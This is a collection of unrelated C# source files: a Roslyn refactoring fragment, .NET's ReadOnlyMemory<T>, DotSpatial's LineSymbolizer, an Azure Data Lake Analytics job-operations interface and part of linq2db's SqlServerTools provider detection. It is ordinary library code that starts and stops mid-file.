.ReplaceNode(sourceNode, sourceNode.WithAdditionalAnnotations(sourceNodeAnnotation)) .WithAdditionalAnnotations(enclosingStatementAnnotation); updatedDocument = await updatedDocument.ReplaceNodeAsync(enclosingStatement, newEnclosingStatement, cancellationToken).ConfigureAwait(false); var updatedRoot = await updatedDocument.GetSyntaxRootAsync(cancellationToken).ConfigureAwait(false); newEnclosingStatement = updatedRoot.GetAnnotatedNodesAndTokens(enclosingStatementAnnotation).Single().AsNode(); // because of the complexification we cannot guarantee that there is only one annotation. // however complexification of names is prepended, so the last annotation should be the original one. sourceNode = updatedRoot.GetAnnotatedNodesAndTokens(sourceNodeAnnotation).Last().AsNode(); // we want to replace the old identifier with a invocation expression, but because of MakeExplicit we might have // a member access now instead of the identifier. So more syntax fiddling is needed. if (sourceNode.Parent.Kind() == SyntaxKind.SimpleMemberAccessExpression && ((ExpressionSyntax)sourceNode).IsRightSideOfDot()) { var explicitMemberAccess = (MemberAccessExpressionSyntax)sourceNode.Parent; var replacementMemberAccess = explicitMemberAccess.CopyAnnotationsTo( SyntaxFactory.MemberAccessExpression( sourceNode.Parent.Kind(), explicitMemberAccess.Expression, (SimpleNameSyntax)((InvocationExpressionSyntax)invocation).Expression)); var newInvocation = SyntaxFactory.InvocationExpression( replacementMemberAccess, ((InvocationExpressionSyntax)invocation).ArgumentList); var newCallSignature = callSignature != invocation ? callSignature.ReplaceNode(invocation, newInvocation) : invocation.CopyAnnotationsTo(newInvocation); sourceNode = sourceNode.Parent; callSignature = newCallSignature; } return newEnclosingStatement.ReplaceNode(sourceNode, callSignature); } } } } }
// Licensed to the .NET Foundation under one or more agreements. // The .NET Foundation licenses this file to you under the MIT license. // See the LICENSE file in the project root for more information. using System.Buffers; using EditorBrowsableAttribute = System.ComponentModel.EditorBrowsableAttribute; using EditorBrowsableState = System.ComponentModel.EditorBrowsableState; using System.Diagnostics; using System.Runtime; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; namespace System { /// <summary> /// ReadOnlyMemory represents a contiguous region of arbitrary similar to ReadOnlySpan. /// Unlike ReadOnlySpan, it is not a byref-like type. /// </summary> [DebuggerDisplay("{DebuggerDisplay,nq}")] [DebuggerTypeProxy(typeof(MemoryDebugView<>))] public readonly struct ReadOnlyMemory<T> { // The highest order bit of _index is used to discern whether _arrayOrOwnedMemory is an array or an owned memory // if (_index >> 31) == 1, object _arrayOrOwnedMemory is an OwnedMemory<T> // else, object _arrayOrOwnedMemory is a T[] private readonly object _arrayOrOwnedMemory; private readonly int _index; private readonly int _length; private const int RemoveOwnedFlagBitMask = 0x7FFFFFFF; /// <summary> /// Creates a new memory over the entirety of the target array. /// </summary> /// <param name="array">The target array.</param> /// <exception cref="System.ArgumentNullException">Thrown when <paramref name="array"/> is a null /// reference (Nothing in Visual Basic).</exception> /// <exception cref="System.ArrayTypeMismatchException">Thrown when <paramref name="array"/> is covariant and array's type is not exactly T[].</exception> [MethodImpl(MethodImplOptions.AggressiveInlining)] public ReadOnlyMemory(T[] array) { if (array == null) ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); _arrayOrOwnedMemory = array; _index = 0; _length = array.Length; } /// <summary> /// Creates a new memory over the portion of the target array beginning /// at 'start' index and ending at 'end' index (exclusive). /// </summary> /// <param name="array">The target array.</param> /// <param name="start">The index at which to begin the memory.</param> /// <param name="length">The number of items in the memory.</param> /// <exception cref="System.ArgumentNullException">Thrown when <paramref name="array"/> is a null /// reference (Nothing in Visual Basic).</exception> /// <exception cref="System.ArrayTypeMismatchException">Thrown when <paramref name="array"/> is covariant and array's type is not exactly T[].</exception> /// <exception cref="System.ArgumentOutOfRangeException"> /// Thrown when the specified <paramref name="start"/> or end index is not in the range (&lt;0 or &gt;=Length). /// </exception> [MethodImpl(MethodImplOptions.AggressiveInlining)] public ReadOnlyMemory(T[] array, int start, int length) { if (array == null) ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); if ((uint)start > (uint)array.Length || (uint)length > (uint)(array.Length - start)) ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.start); _arrayOrOwnedMemory = array; _index = start; _length = length; } // Constructor for internal use only. [MethodImpl(MethodImplOptions.AggressiveInlining)] internal ReadOnlyMemory(OwnedMemory<T> owner, int index, int length) { if (owner == null) ThrowHelper.ThrowArgumentNullException(ExceptionArgument.ownedMemory); if (index < 0 || length < 0) ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.start); _arrayOrOwnedMemory = owner; _index = index | (1 << 31); // Before using _index, check if _index < 0, then 'and' it with RemoveOwnedFlagBitMask _length = length; } //Debugger Display = {T[length]} private string DebuggerDisplay => string.Format("{{{0}[{1}]}}", typeof(T).Name, _length); /// <summary> /// Defines an implicit conversion of an array to a <see cref="Memory{T}"/> /// </summary> public static implicit operator ReadOnlyMemory<T>(T[] array) => new ReadOnlyMemory<T>(array); /// <summary> /// Defines an implicit conversion of a <see cref="ArraySegment{T}"/> to a <see cref="Memory{T}"/> /// </summary> public static implicit operator ReadOnlyMemory<T>(ArraySegment<T> arraySegment) => new ReadOnlyMemory<T>(arraySegment.Array, arraySegment.Offset, arraySegment.Count); /// <summary> /// Returns an empty <see cref="Memory{T}"/> /// </summary> public static ReadOnlyMemory<T> Empty { get; } = SpanHelpers.PerTypeValues<T>.EmptyArray; /// <summary> /// The number of items in the memory. /// </summary> public int Length => _length; /// <summary> /// Returns true if Length is 0. /// </summary> public bool IsEmpty => _length == 0; /// <summary> /// Forms a slice out of the given memory, beginning at 'start'. /// </summary> /// <param name="start">The index at which to begin this slice.</param> /// <exception cref="System.ArgumentOutOfRangeException"> /// Thrown when the specified <paramref name="start"/> index is not in range (&lt;0 or &gt;=Length). /// </exception> [MethodImpl(MethodImplOptions.AggressiveInlining)] public ReadOnlyMemory<T> Slice(int start) { if ((uint)start > (uint)_length) ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.start); if (_index < 0) return new ReadOnlyMemory<T>((OwnedMemory<T>)_arrayOrOwnedMemory, (_index & RemoveOwnedFlagBitMask) + start, _length - start); return new ReadOnlyMemory<T>((T[])_arrayOrOwnedMemory, _index + start, _length - start); } /// <summary> /// Forms a slice out of the given memory, beginning at 'start', of given length /// </summary> /// <param name="start">The index at which to begin this slice.</param> /// <param name="length">The desired length for the slice (exclusive).</param> /// <exception cref="System.ArgumentOutOfRangeException"> /// Thrown when the specified <paramref name="start"/> or end index is not in range (&lt;0 or &gt;=Length). /// </exception> [MethodImpl(MethodImplOptions.AggressiveInlining)] public ReadOnlyMemory<T> Slice(int start, int length) { if ((uint)start > (uint)_length || (uint)length > (uint)(_length - start)) ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.start); if (_index < 0) return new ReadOnlyMemory<T>((OwnedMemory<T>)_arrayOrOwnedMemory, (_index & RemoveOwnedFlagBitMask) + start, length); return new ReadOnlyMemory<T>((T[])_arrayOrOwnedMemory, _index + start, length); } /// <summary> /// Returns a span from the memory. /// </summary> public ReadOnlySpan<T> Span { [MethodImpl(MethodImplOptions.AggressiveInlining)] get { if (_index < 0) return ((OwnedMemory<T>)_arrayOrOwnedMemory).Span.Slice(_index & RemoveOwnedFlagBitMask, _length); return new ReadOnlySpan<T>((T[])_arrayOrOwnedMemory, _index, _length); } } /// <summary> /// Returns a handle for the array. /// <param name="pin">If pin is true, the GC will not move the array and hence its address can be taken</param> /// </summary> public unsafe MemoryHandle Retain(bool pin = false) { MemoryHandle memoryHandle; if (pin) { if (_index < 0) { memoryHandle = ((OwnedMemory<T>)_arrayOrOwnedMemory).Pin(); memoryHandle.AddOffset((_index & RemoveOwnedFlagBitMask) * Unsafe.SizeOf<T>()); } else { var array = (T[])_arrayOrOwnedMemory; var handle = GCHandle.Alloc(array, GCHandleType.Pinned); void* pointer = Unsafe.Add<T>((void*)handle.AddrOfPinnedObject(), _index); memoryHandle = new MemoryHandle(null, pointer, handle); } } else { if (_index < 0) { ((OwnedMemory<T>)_arrayOrOwnedMemory).Retain(); memoryHandle = new MemoryHandle((OwnedMemory<T>)_arrayOrOwnedMemory); } else { memoryHandle = new MemoryHandle(null); } } return memoryHandle; } /// <summary> /// Get an array segment from the underlying memory. /// If unable to get the array segment, return false with a default array segment. /// </summary> [EditorBrowsable(EditorBrowsableState.Never)] public bool DangerousTryGetArray(out ArraySegment<T> arraySegment) { if (_index < 0) { if (((OwnedMemory<T>)_arrayOrOwnedMemory).TryGetArray(out var segment)) { arraySegment = new ArraySegment<T>(segment.Array, segment.Offset + (_index & RemoveOwnedFlagBitMask), _length); return true; } } else { arraySegment = new ArraySegment<T>((T[])_arrayOrOwnedMemory, _index, _length); return true; } arraySegment = default(ArraySegment<T>); return false; } /// <summary> /// Copies the contents from the memory into a new array. This heap /// allocates, so should generally be avoided, however it is sometimes /// necessary to bridge the gap with APIs written in terms of arrays. /// </summary> public T[] ToArray() => Span.ToArray(); /// <summary> /// Determines whether the specified object is equal to the current object. /// </summary> [EditorBrowsable(EditorBrowsableState.Never)] public override bool Equals(object obj) { if (obj is ReadOnlyMemory<T> readOnlyMemory) { return Equals(readOnlyMemory); } else if (obj is Memory<T> memory) { return Equals(memory); } else { return false; } } /// <summary> /// Returns true if the memory points to the same array and has the same length. Note that /// this does *not* check to see if the *contents* are equal. /// </summary> public bool Equals(ReadOnlyMemory<T> other) { return _arrayOrOwnedMemory == other._arrayOrOwnedMemory && _index == other._index && _length == other._length; } /// <summary> /// Serves as the default hash function. /// </summary> [EditorBrowsable( EditorBrowsableState.Never)] public override int GetHashCode() { return CombineHashCodes(_arrayOrOwnedMemory.GetHashCode(), (_index & RemoveOwnedFlagBitMask).GetHashCode(), _length.GetHashCode()); } private static int CombineHashCodes(int left, int right) { return ((left << 5) + left) ^ right; } private static int CombineHashCodes(int h1, int h2, int h3) { return CombineHashCodes(CombineHashCodes(h1, h2), h3); } } }
// Copyright (c) DotSpatial Team. All rights reserved. // Licensed under the MIT license. See License.txt file in the project root for full license information. using System; using System.Collections.Generic; using System.ComponentModel; using System.Drawing; using System.Drawing.Drawing2D; using System.Linq; using DotSpatial.Data; using DotSpatial.Serialization; using NetTopologySuite.Geometries; using Point = System.Drawing.Point; namespace DotSpatial.Symbology { /// <summary> /// Symbolizer for line features. /// </summary> [Serializable] public class LineSymbolizer : FeatureSymbolizer, ILineSymbolizer { #region Fields private IList<IStroke> _strokes; #endregion #region Constructors /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class. /// </summary> public LineSymbolizer() { _strokes = new CopyList<IStroke> { new SimpleStroke() }; } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class. /// This creates a new set of cartographic lines that together form a line with a border. Since a compound /// pen is used, it is possible to use this to create a transparent line with just two border parts. /// </summary> /// <param name="fillColor">The fill color for the line.</param> /// <param name="borderColor">The border color of the line.</param> /// <param name="width">The width of the entire line.</param> /// <param name="dash">The dash pattern to use.</param> /// <param name="caps">The style of the start and end caps.</param> public LineSymbolizer(Color fillColor, Color borderColor, double width, DashStyle dash, LineCap caps) : this(fillColor, borderColor, width, dash, caps, caps) { } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class. /// This creates a new set of cartographic lines that together form a line with a border. Since a compound /// pen is used, it is possible to use this to create a transparent line with just two border parts. /// </summary> /// <param name="fillColor">The fill color for the line.</param> /// <param name="borderColor">The border color of the line.</param> /// <param name="width">The width of the entire line.</param> /// <param name="dash">The dash pattern to use.</param> /// <param name="startCap">The style of the start cap.</param> /// <param name="endCap">The style of the end cap.</param> public LineSymbolizer(Color fillColor, Color borderColor, double width, DashStyle dash, LineCap startCap, LineCap endCap) { _strokes = new CopyList<IStroke>(); ICartographicStroke bs = new CartographicStroke(borderColor) { Width = width, StartCap = startCap, EndCap = endCap, DashStyle = dash }; _strokes.Add(bs); ICartographicStroke cs = new CartographicStroke(fillColor) { StartCap = startCap, EndCap = endCap, DashStyle = dash, Width = width - 2 }; _strokes.Add(cs); } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class using the various strokes to form a /// composit symbol. /// </summary> /// <param name="strokes">Strokes used to form a composit symbol.</param> public LineSymbolizer(IEnumerable<IStroke> strokes) { _strokes = new CopyList<IStroke>(); foreach (var stroke in strokes) { _strokes.Add(stroke); } } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class for handling selections. /// </summary> /// <param name="selected">Boolean, true if this should be symbolized like a selected line.</param> public LineSymbolizer(bool selected) { _strokes = new CopyList<IStroke> { selected ? new CartographicStroke(Color.Cyan) : new CartographicStroke() }; } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class with the specified color and width. /// </summary> /// <param name="color">The color.</param> /// <param name="width">The line width.</param> public LineSymbolizer(Color color, double width) { _strokes = new CopyList<IStroke> { new SimpleStroke(width, color) }; } /// <summary> /// Initializes a new instance of the <see cref="LineSymbolizer"/> class. /// Creates a line symbolizer that has a width that is scaled in proportion to the specified envelope as 1/100th of the /// width of the envelope. /// </summary> /// <param name="env">not used.</param> /// <param name="selected">Boolean, true if this should be symbolized like a selected line.</param> public LineSymbolizer(Envelope env, bool selected) { _strokes = new CopyList<IStroke>(); ICartographicStroke myStroke = new CartographicStroke(); if (selected) myStroke.Color = Color.Cyan; myStroke.Width = 1; _strokes.Add(myStroke); } #endregion #region Properties /// <summary> /// Gets or sets the list of strokes, which define how the drawing pen should behave. /// </summary> /// <remarks> /// [Editor(typeof(StrokesEditor), typeof(UITypeEditor))] /// [TypeConverter(typeof(GeneralTypeConverter))]. /// </remarks> [Description("Controls multiple layers of pens, drawn on top of each other. From object.")] [Serialize("Strokes")] public IList<IStroke> Strokes { get { return _strokes; } set { _strokes = value; } } #endregion #region Methods /// <summary> /// Draws a line instead of a rectangle. /// </summary> /// <param name="g">The graphics device to draw to.</param> /// <param name="target">The rectangle that is used to calculate the lines position and size.</param> public override void Draw(Graphics g, Rectangle target) { foreach (var stroke in _strokes) { using (var p = stroke.ToPen(1)) g.DrawLine(p, new Point(target.X, target.Y + (target.Height / 2)), new Point(target.Right, target.Y + (target.Height / 2))); } } /// <summary> /// Draws the line that is needed to show this lines legend symbol. /// </summary> /// <param name="g">The graphics device to draw to.</param> /// <param name="target">The rectangle that is used to calculate the lines position and size.</param> public void DrawLegendSymbol(Graphics g, Rectangle target) { foreach (IStroke stroke in _strokes) { GraphicsPath p = new GraphicsPath(); p.AddLine(new Point(target.X, target.Y + (target.Height / 2)), new Point(target.Right, target.Y + (target.Height / 2))); if (stroke is ICartographicStroke cs) { cs.DrawLegendPath(g, p, 1); } else { stroke.DrawPath(g, p, 1); } } } /// <summary> /// Sequentially draws all of the strokes using the specified graphics path. /// </summary> /// <param name="g">The graphics device to draw to.</param> /// <param name="gp">The graphics path that describes the pathway to draw.</param> /// <param name="scaleWidth">The double scale width that when multiplied by the width gives a measure in pixels.</param> public virtual void DrawPath(Graphics g, GraphicsPath gp, double scaleWidth) { foreach (var stroke in _strokes) { using (var p = stroke.ToPen(scaleWidth)) g.DrawPath(p, gp); } } /// <summary> /// Gets the color of the top-most stroke. /// </summary> /// <returns>The fill color.</returns> public Color GetFillColor() { if (_strokes == null) return Color.Empty; if (_strokes.Count == 0) return Color.Empty; var ss = _strokes[_strokes.Count - 1] as ISimpleStroke; return ss?.Color ?? Color.Empty; } /// <summary> /// Gets the Size that is needed to show this line in legend with max. 2 decorations. /// </summary> /// <returns>The legend symbol size.</returns> public override Size GetLegendSymbolSize() { Size size = new Size(16, 16); // default size for smaller lines if (_strokes == null) return size; foreach (var stroke in _strokes.OfType<ISimpleStroke>()) { if (stroke.Width > size.Height) size.Height = (int)stroke.Width; } foreach (var stroke in _strokes.OfType<ICartographicStroke>()) { Size s = stroke.GetLegendSymbolSize(); if (s.Width > size.Width) size.Width = s.Width; if (s.Height > size.Height) size.Height = s.Height; } return size; } /// <summary> /// This gets the largest width of all the strokes. /// Setting this will change the width of all the strokes to the specified width, and is not recommended /// if you are using thin lines drawn over thicker lines. /// </summary> /// <returns>The width.</returns> public double GetWidth() { double w = 0; if (_strokes == null) return 1; foreach (var stroke in _strokes.OfType<ISimpleStroke>()) { if (stroke.Width > w) w = stroke.Width; } return w; } /// <summary> /// Sets the fill color fo the top-most stroke, and forces the top-most stroke /// to be a type of stroke that can accept a fill color if necessary. /// </summary> /// <param name="fillColor">The new fill color.</param> public void SetFillColor(Color fillColor) { if (_strokes == null) return; if (_strokes.Count == 0) return; if (_strokes[_strokes.Count - 1] is ISimpleStroke ss) { ss.Color = fillColor; } } /// <summary> /// Sets the outline, assuming that the symbolizer either supports outlines, or /// else by using a second symbol layer. /// </summary> /// <param name="outlineColor">The color of the outline.</param> /// <param name="width">The width of the outline in pixels.</param> public override void SetOutline(Color outlineColor, double width) { var w = GetWidth(); _strokes.Insert(0, new SimpleStroke(w + (2 * width), outlineColor)); base.SetOutline(outlineColor, width); } /// <summary> /// This keeps the ratio of the widths the same, but scales the width up for /// all the strokes. /// </summary> /// <param name="width">The new width.</param> public void SetWidth(double width) { if (_strokes == null) return; if (_strokes.Count == 0) return; var w = GetWidth(); if (w == 0) return; var ratio = width / w; foreach (var stroke in _strokes.OfType<ISimpleStroke>()) { stroke.Width *= ratio; } } #endregion } }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See License.txt in the project root for // license information. // // Code generated by Microsoft (R) AutoRest Code Generator. // Changes may cause incorrect behavior and will be lost if the code is // regenerated. namespace Microsoft.Azure.Management.DataLake.Analytics { using Microsoft.Azure; using Microsoft.Azure.Management; using Microsoft.Azure.Management.DataLake; using Microsoft.Rest; using Microsoft.Rest.Azure; using Microsoft.Rest.Azure.OData; using Models; using System.Collections; using System.Collections.Generic; using System.Threading; using System.Threading.Tasks; /// <summary> /// JobOperations operations. /// </summary> public partial interface IJobOperations { /// <summary> /// Gets statistics of the specified job. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='jobIdentity'> /// Job Information ID. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<JobStatistics>> GetStatisticsWithHttpMessagesAsync(string accountName, System.Guid jobIdentity, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Gets the job debug data information specified by the job ID. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='jobIdentity'> /// JobInfo ID. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<JobDataPath>> GetDebugDataPathWithHttpMessagesAsync(string accountName, System.Guid jobIdentity, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Builds (compiles) the specified job in the specified Data Lake /// Analytics account for job correctness and validation. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='parameters'> /// The parameters to build a job. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<JobInformation>> BuildWithHttpMessagesAsync(string accountName, BuildJobParameters parameters, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Cancels the running job specified by the job ID. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='jobIdentity'> /// JobInfo ID to cancel. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse> CancelWithHttpMessagesAsync(string accountName, System.Guid jobIdentity, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Submits a job to the specified Data Lake Analytics account. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='jobIdentity'> /// The job ID (a GUID) for the job being submitted. /// </param> /// <param name='parameters'> /// The parameters to submit a job. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<JobInformation>> CreateWithHttpMessagesAsync(string accountName, System.Guid jobIdentity, CreateJobParameters parameters, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Gets the job information for the specified job ID. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='jobIdentity'> /// JobInfo ID. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<JobInformation>> GetWithHttpMessagesAsync(string accountName, System.Guid jobIdentity, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Lists the jobs, if any, associated with the specified Data Lake /// Analytics account. The response includes a link to the next page of /// results, if any. /// </summary> /// <param name='accountName'> /// The Azure Data Lake Analytics account to execute job operations on. /// </param> /// <param name='odataQuery'> /// OData parameters to apply to the operation. /// </param> /// <param name='select'> /// OData Select statement. Limits the properties on each entry to just /// those requested, e.g. Categories?$select=CategoryName,Description. /// Optional. /// </param> /// <param name='count'> /// The Boolean value of true or false to request a count of the /// matching resources included with the resources in the response, /// e.g. Categories?$count=true. Optional. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<IPage<JobInformationBasic>>> ListWithHttpMessagesAsync(string accountName, ODataQuery<JobInformation> odataQuery = default(ODataQuery<JobInformation>), string select = default(string), bool? count = default(bool?), Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); /// <summary> /// Lists the jobs, if any, associated with the specified Data Lake /// Analytics account. The response includes a link to the next page of /// results, if any. /// </summary> /// <param name='nextPageLink'> /// The NextLink from the previous successful call to List operation. /// </param> /// <param name='customHeaders'> /// The headers that will be added to request. /// </param> /// <param name='cancellationToken'> /// The cancellation token. /// </param> /// <exception cref="Microsoft.Rest.Azure.CloudException"> /// Thrown when the operation returned an invalid status code /// </exception> /// <exception cref="Microsoft.Rest.SerializationException"> /// Thrown when unable to deserialize the response /// </exception> /// <exception cref="Microsoft.Rest.ValidationException"> /// Thrown when a required parameter is null /// </exception> Task<AzureOperationResponse<IPage<JobInformationBasic>>> ListNextWithHttpMessagesAsync(string nextPageLink, Dictionary<string, List<string>> customHeaders = null, CancellationToken cancellationToken = default(CancellationToken)); } }
using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Linq; using System.Reflection; using JetBrains.Annotations; namespace LinqToDB.DataProvider.SqlServer { using Common; using Configuration; using Data; public static class SqlServerTools { #region Init private static readonly Func<string, string> _quoteIdentifier; static readonly SqlServerDataProvider _sqlServerDataProvider2000 = new SqlServerDataProvider(ProviderName.SqlServer2000, SqlServerVersion.v2000); static readonly SqlServerDataProvider _sqlServerDataProvider2005 = new SqlServerDataProvider(ProviderName.SqlServer2005, SqlServerVersion.v2005); static readonly SqlServerDataProvider _sqlServerDataProvider2008 = new SqlServerDataProvider(ProviderName.SqlServer2008, SqlServerVersion.v2008); static readonly SqlServerDataProvider _sqlServerDataProvider2012 = new SqlServerDataProvider(ProviderName.SqlServer2012, SqlServerVersion.v2012); public static bool AutoDetectProvider { get; set; } static SqlServerTools() { AutoDetectProvider = true; DataConnection.AddDataProvider(ProviderName.SqlServer, _sqlServerDataProvider2008); DataConnection.AddDataProvider(ProviderName.SqlServer2014, _sqlServerDataProvider2012); DataConnection.AddDataProvider(_sqlServerDataProvider2012); DataConnection.AddDataProvider(_sqlServerDataProvider2008); DataConnection.AddDataProvider(_sqlServerDataProvider2005); DataConnection.AddDataProvider(_sqlServerDataProvider2000); DataConnection.AddProviderDetector(ProviderDetector); #if !NETSTANDARD1_6 try { _quoteIdentifier = TryToUseCommandBuilder(); } catch { // see https://github.com/linq2db/linq2db/issues/1487 } #endif if (_quoteIdentifier == null) _quoteIdentifier = identifier => '[' + identifier.Replace("]", "]]") + ']'; } #if !NETSTANDARD1_6 private static Func<string, string> TryToUseCommandBuilder() { var commandBuilder = new SqlCommandBuilder(); return commandBuilder.QuoteIdentifier; } #endif internal static string QuoteIdentifier(string identifier) { return _quoteIdentifier(identifier); } static IDataProvider ProviderDetector(IConnectionStringSettings css, string connectionString) { //if (css.IsGlobal /* DataConnection.IsMachineConfig(css)*/) // return null; switch (css.ProviderName) { case "" : case null : if (css.Name == "SqlServer") goto case "SqlServer"; break; case "SqlServer2000" : case "SqlServer.2000" : return _sqlServerDataProvider2000; case "SqlServer2005" : case "SqlServer.2005" : return _sqlServerDataProvider2005; case "SqlServer2008" : case "SqlServer.2008" : return _sqlServerDataProvider2008; case "SqlServer2012" : case "SqlServer.2012" : return _sqlServerDataProvider2012; case "SqlServer2014" : case "SqlServer.2014" : case "SqlServer2016" : case "SqlServer.2016" : case "SqlServer2017" : case "SqlServer.2017" : return _sqlServerDataProvider2012; case "SqlServer" : case "System.Data.SqlClient" : if (css.Name.Contains("2000")) return _sqlServerDataProvider2000; if (css.Name.Contains("2005")) return _sqlServerDataProvider2005; if (css.Name.Contains("2008")) return _sqlServerDataProvider2008; if (css.Name.Contains("2012")) return _sqlServerDataProvider2012; if (css.Name.Contains("2014")) return _sqlServerDataProvider2012; if (css.Name.Contains("2016")) return _sqlServerDataProvider2012; if (css.Name.Contains("2017")) return _sqlServerDataProvider2012; if (AutoDetectProvider) { try { var cs = string.IsNullOrWhiteSpace(connectionString) ? css.ConnectionString : connectionString; using (var conn = new SqlConnection(cs)) { conn.Open(); if (int.TryParse(conn.ServerVersion.Split('.')[0], out var version)) { if (version <= 8) return _sqlServerDataProvider2000; using (var cmd = conn.CreateCommand()) { cmd.CommandText = "SELECT compatibility_level FROM sys.databases WHERE name = db_name()"; var level = Converter.ChangeTypeTo<int>(cmd.ExecuteScalar()); if (level >= 110) return _sqlServerDataProvider2012; if (level >= 100) return _sqlServerDataProvider2008; if (level >= 90) return _sqlServerDataProvider2005; if (level >= 80) return _sqlServerDataProvider2000; switch (version) { case 8 : return _sqlServerDataProvider2000; case 9 : return _sqlServerDataProvider2005; case 10 : return _sqlServerDataProvider2008; case 11 : return _sqlServerDataProvider2012; case 12 : return _sqlServerDataProvider2012; default : if (version > 12) return _sqlServerDataProvider2012; return _sqlServerDataProvider2008; } } } } } catch (Exception) { } } break; } return null; } #endregion #region Public Members public static IDataProvider GetDataProvider(SqlServerVersion version = SqlServerVersion.v2008) { switch (version) { case SqlServerVersion.v2000 : return _sqlServerDataProvider2000; case SqlServerVersion.v2005 : return _sqlServerDataProvider2005; case SqlServerVersion.v2012 : return _sqlServerDataProvider2012; } return _sqlServerDataProvider2008; } public static void AddUdtType(Type type, string udtName) { _sqlServerDataProvider2000.AddUdtType(type, udtName); _sqlServerDataProvider2005.AddUdtType(type, udtName); _sqlServerDataProvider2008.AddUdtType(type, udtName); _sqlServerDataProvider2012.AddUdtType(type, udtName); } public static void AddUdtType<T>(string udtName, T nullValue, DataType dataType = DataType.Undefined) { _sqlServerDataProvider2000.AddUdtType(udtName, nullValue, dataType); _sqlServerDataProvider2005.AddUdtType(udtName, nullValue, dataType); _sqlServerDataProvider2008.AddUdtType(udtName, nullValue, dataType); _sqlServerDataProvider2012.AddUdtType(udtName, nullValue, dataType); } public static void ResolveSqlTypes([NotNull] string path) { if (path == null) throw new ArgumentNullException(nameof(path)); new AssemblyResolver(path, "Microsoft.SqlServer.Types"); } public static void ResolveSqlTypes([NotNull] Assembly assembly) { var types = assembly.GetTypes(); 